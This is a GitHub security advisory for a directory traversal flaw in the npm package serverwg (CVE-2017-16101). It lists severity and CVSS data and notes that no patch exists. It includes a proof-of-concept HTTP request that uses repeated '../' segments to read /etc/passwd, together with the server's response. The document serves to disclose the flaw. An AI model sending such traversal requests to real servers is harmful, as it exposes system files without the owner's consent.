GitHub Advisoryadvisory · npm
GHSA-2f29-pmpx-vj62 Directory Traversal in serverwg
HIGH
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- Aliases
- CVE-2017-16101
- Ecosystem
- npm
- Packages
- serverwg
- Severity
- High
- CVSS vector
- CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Weaknesses
- CWE-22
- Reviewed
- 2020-08-31
Affected packages
• npm serverwg: >= 0.0.0 (no fix yet)
Description
`serverwg` is a simple http server.
`serverwg` is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the URL.
Example request:
```http
GET /../../../../../../../../../../etc/passwd HTTP/1.1
host:foo
```
and response:
```
HTTP/1.1 200 OK
Date: Wed, 17 May 2017 22:52:08 GMT
Connection: keep-alive
{contents of /etc/passwd}
```
Recommendation
No patch is available for this vulnerability.
It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.
Related
Alias · CVE (1)
- CVE-2017-16101 serverwg is a simple http server. vulnerability
Weakness · CWE (1)
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness